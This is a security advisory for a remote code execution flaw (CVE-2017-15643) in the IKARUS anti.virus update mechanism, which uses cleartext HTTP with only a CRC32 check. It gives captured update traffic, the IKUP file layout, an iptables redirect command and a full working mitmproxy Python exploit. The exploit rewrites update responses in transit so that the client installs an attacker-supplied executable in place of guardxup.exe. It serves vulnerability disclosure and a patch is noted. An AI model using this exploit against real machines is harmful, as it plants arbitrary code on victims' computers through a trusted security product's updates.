1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 |
## Vulnerability summary The following advisory describes an remote code execution found in Ikraus Anti Virus version 2.16.7. KARUS anti.virus “secures your personal data and PC from all kinds of malware. Additionally, the Anti-SPAM module protects you from SPAM and malware from e-mails. Prevent intrusion and protect yourself against cyber-criminals by choosing IKARUS anti.virus, powered by the award-winning IKARUS scan.engine. It is among the best in the world, detecting new and existing threats every day. ” ## Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ## Vendor Response Update 1 CVE: CVE-2017-15643 The vendor has released patches to address these vulnerabilities. For more information: https://www.ikarussecurity.com/about-ikarus/security-blog/vulnerability-in-windows-antivirus-products-ik-sa-2017-0001/ ## Vulnerability details An active network attacker (MiTM) can achieve remote code execution on a machine that runs Ikraus Anti Virus. Ikarus AV for windows uses cleartext HTTP for updates along with a CRC32 checksum and an update value for verification of the downloaded files. Also ikarus checks for a update version number which can be incremented to goad the process to update. The update process executable in ikarus called guardxup.exe guardxup.exe, send over port 80, the following request for update: </code><code> GET /cgi-bin/virusutilities.pl?A=7534ED66&B=6.1.1.0.11.1.256.7601&C=1005047.2013019.2001016.98727&F=4.5.2%3bO=0%3bSP=0&E=WD-194390-VU HTTP/1.1 Accept: */* User-Agent: virusutilities(6.1,0,1005047) Host: updates.ikarus.at Connection: close </code><code> The server will respond with: </code><code> HTTP/1.1 200 OK Date: Sun, 23 Oct 2016 04:51:05 GMT Server: Apache/2.4.10 (Debian) mod_perl/2.0.9dev Perl/v5.20.2 Content-Disposition: inline; filename=virusutilities Content-Length: 306 Connection: close Content-Type: text/plain; charset=ISO-8859-1 <url> fullhttp://mirror04.ikarus.at/updates/ diffhttp://mirror06.ikarus.at/updates/ </url> <up> antispam_w64001000076 antispam001000076 update001005047 virusutilities002013019 t3modul_w64 002001016 t3modul 002001016 sdb 000007074 t3sigs000098727 </up> <dependence> t3modul </dependence> </code><code> </code><code> Through the proxy we will modify the response and add 1 to the ‘update’ value and forward the response to the client. Then the client will request the update via this url: http://mirror04.ikarus.at/updates/guardxup001005048.full The ikarus server will respond with a 404: </code><code> HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Sun, 23 Oct 2016 04:53:05 GMT Content-Type: text/html Content-Length: 168 Connection: close <html> <head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center>nginx/1.6.2</center> </body> </html> </code><code> But we will modify the response with a IKUP format: </code><code> Bytes: 0x0 - 0x3 == IKUP # header Bytes: 0x4 - 0x7 == 0x0s Bytes: 0x8 == 0x3C # pointer to start of PE EXE MZ header Bytes: 0x20 - 0x23 == update value in little endian (script fixes it up) Bytes: 0x24 - 0x27 == crc32 checksum (script populates from provided binary) Bytes: 0x28 -> pointer to MZ header == 0x0s Bytes: 'pointer to MZ header' -> ? == appended exe </code><code> Then we will forward to the update to the client, where it replaces guardxup.exe with our executable. ## Proof of concept Please install mitmproxy 0.17 – pip install mitmproxy==0.17 To use this script, you’ll need to MITM port 80 traffic from the client for use with a transparent proxy. Set your firewall rules to intercept 80 traffic on port 8080: </code><code> sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 </code><code> and execute the script as follows: </code><code> ./poc.py file_to_deploy.exe </code><code> </code><code> #!/usr/bin/env python2 import os try: from mitmproxy import controller, proxy, platform from mitmproxy.proxy.server import ProxyServer except: from libmproxy import controller, proxy, platform from libmproxy.proxy.server import ProxyServer import re import struct import sys import zlib import bz2 class IkarusPOC(controller.Master): def __init__(self, server, backdoored_file): controller.Master.__init__(self, server) self.ikarus= {} self.crc_file = 0 self.backdoored_file = backdoored_file self.to_replace = 0 self.already_patched = 0 self.update_number = 0 def win_header(self): self.update_header = "\x49\x4B\x55\x50\x00\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\x00" self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" self.update_header += struct.pack("<I", self.to_replace)# update number self.update_header += struct.pack("<I", self.crc_file)# checksum self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" self.update_header += "\x00\x00\x00\x00" def run(self): try: return controller.Master.run(self) except KeyboardInterrupt: self.shutdown() def crc_stream(self, a_string): prev = 0 return zlib.crc32(a_string, prev) & 0xFFFFFFFF def crc(self, some_file): prev = 0 for eachLine in open(some_file,"rb"): prev = zlib.crc32(eachLine, prev) self.crc_file = prev & 0xFFFFFFFF print "[*] crc_file", self.crc_file def handle_request(self, flow): hid = (flow.request.host, flow.request.port) flow.reply() def handle_response(self, flow): print "[*] flow.request.host:", flow.request.host if "cgi-bin/imsa-lite.pl" in flow.request.path and "Dalvik" in flow.request.headers['User-Agent'] and self.already_patched <=2: content = flow.reply.obj.response.content p = re.compile("antispam[\s|\t].*\n") result = p.search(content) the_result = result.group(0) original_update_number= [int(s) for s in the_result.split() if s.isdigit()][0] if self.update_number == 0: self.update_number = original_update_number self.to_replace = self.update_number + 1 content = content.replace(str(original_update_number), str(self.to_replace)) flow.reply.obj.response.content = content if "cgi-bin/virusutilities.pl" in flow.request.path and 'virusutilities' in flow.request.headers['User-Agent'] and self.already_patched <= 2: print "[*] Found update response, modifying..." content = flow.reply.obj.response.content p = re.compile("update[\s|\t].*\n") result = p.search(content) the_result = result.group(0) original_update_number = [int(s) for s in the_result.split() if s.isdigit()][0] if self.update_number == 0: self.update_number = original_update_number self.to_replace = self.update_number + 1 print '[*] Update_number', self.update_number print '[*] Replace number', self.to_replace content = content.replace(str(original_update_number), str(self.to_replace)) print "[*] Updated content", content flow.reply.obj.response.content = content if 'guard' in flow.request.path and 'full' in flow.request.path and self.already_patched <= 2: print '[*] Found guardxup.exe request! Modifying request and pushing provided file!' self.crc(self.backdoored_file) self.win_header() with open(self.backdoored_file, 'rb') as f: file_out= f.read() content = self.update_header + file_out with open('/tmp/update_test.full', 'wb') as f: f.write(content) flow.reply.obj.response.content = content flow.reply.obj.response.status_code = 200 self.already_patched += 1 flow.reply() config = proxy.ProxyConfig(port=8080, mode='transparent') server = ProxyServer(config) m = IkarusPOC(server, sys.argv[1]) m.run() </code>` |